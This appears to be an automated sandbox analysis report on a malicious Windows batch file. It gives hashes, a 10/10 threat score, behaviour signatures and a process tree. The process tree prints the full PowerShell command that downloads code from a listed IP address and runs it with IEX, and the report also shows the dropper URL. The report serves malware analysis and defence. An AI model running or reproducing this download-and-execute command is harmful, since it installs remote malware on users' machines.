Analysis

  • max time kernel
    147s
  • max time network
    92s
  • platform
    windows10_x64
  • resource
    win10v200430
  • submitted
    12-07-2020 19:10

General

  • Target

    d8b4df362b6cf1bf526634ea889b42de.bat

  • Size

    213B

  • MD5

    fa5f98db7255446f6688e03c1b8639e1

  • SHA1

    9149b6cdcab524d9e06254b52dcdcb0455cdb7ac

  • SHA256

    b64c3249144683345453feac5f2c3ed3374d33a8eaf6bf4e30299e55a1bf1fca

  • SHA512

    e13b67fd455c2e28362529b6cc986135be45d21ad68a8a7b7af6203b4766dce4fe74bd1f8fc16f7de6b09f1b9a787982d4302b2aa26c48c5a6326503b6d3d4a8

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
ps1.dropper

http://185.103.242.78/pastes/d8b4df362b6cf1bf526634ea889b42de

Signatures

  • Suspicious behavior: EnumeratesProcesses 13 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs
  • Program crash 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\d8b4df362b6cf1bf526634ea889b42de.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3768
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/d8b4df362b6cf1bf526634ea889b42de');Invoke-CFAKWL;Start-Sleep -s 10000"
      2⤵
        PID:2932
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 2932 -s 704
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Program crash
          • Suspicious use of AdjustPrivilegeToken
          PID:816

    Network

    MITRE ATT&CK Matrix

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/816-1-0x0000000004DA0000-0x0000000004DA1000-memory.dmp
      Filesize

      4KB

    • memory/816-9-0x00000000053D0000-0x00000000053D1000-memory.dmp
      Filesize

      4KB

    • memory/2932-0-0x0000000000000000-mapping.dmp
    • memory/2932-2-0x0000000000000000-mapping.dmp
    • memory/2932-3-0x0000000000000000-mapping.dmp
    • memory/2932-4-0x0000000000000000-mapping.dmp
    • memory/2932-5-0x0000000000000000-mapping.dmp
    • memory/2932-6-0x0000000000000000-mapping.dmp
    • memory/2932-7-0x0000000000000000-mapping.dmp